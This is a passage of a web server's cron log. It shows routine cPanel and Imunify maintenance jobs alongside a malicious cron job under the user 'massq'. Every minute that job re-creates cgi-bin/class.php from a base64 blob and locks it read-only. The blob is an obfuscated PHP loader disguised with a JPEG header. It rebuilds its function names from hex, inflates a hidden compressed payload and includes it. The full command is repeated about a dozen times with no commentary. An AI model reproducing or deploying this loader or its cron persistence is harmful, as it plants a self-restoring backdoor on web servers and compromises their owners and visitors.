6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:16:01 server CROND[4813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:17:01 server CROND[5231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:17:01 server CROND[5232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:17:01 server CROND[5233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:18:01 server CROND[5610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:18:01 server CROND[5609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:18:01 server CROND[5611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:19:01 server CROND[6037]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:19:01 server CROND[6036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:19:01 server CROND[6035]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:20:01 server CROND[6421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:20:01 server CROND[6423]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:20:01 server CROND[6425]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:20:01 server CROND[6426]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:20:01 server CROND[6429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:20:01 server CROND[6424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:20:01 server CROND[6430]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 18:20:01 server CROND[6428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:20:01 server CROND[6427]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:21:01 server CROND[7559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:21:01 server CROND[7560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:21:01 server CROND[7561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:22:01 server CROND[7935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:22:01 server CROND[7936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:22:01 server CROND[7937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:23:01 server CROND[8316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:23:01 server CROND[8318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:23:01 server CROND[8317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:24:01 server CROND[8686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:24:01 server CROND[8687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:24:01 server CROND[8685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:25:01 server CROND[9061]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:25:01 server CROND[9063]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:25:01 server CROND[9069]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:25:01 server CROND[9072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:25:01 server CROND[9071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:25:01 server CROND[9073]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:25:01 server CROND[9070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:25:01 server CROND[9074]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 18:26:01 server CROND[9970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:26:01 server CROND[9971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:26:01 server CROND[9972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:27:01 server CROND[10343]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 18:27:01 server CROND[10344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:27:01 server CROND[10345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:27:01 server CROND[10346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:28:01 server CROND[10727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:28:01 server CROND[10728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:28:01 server CROND[10729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
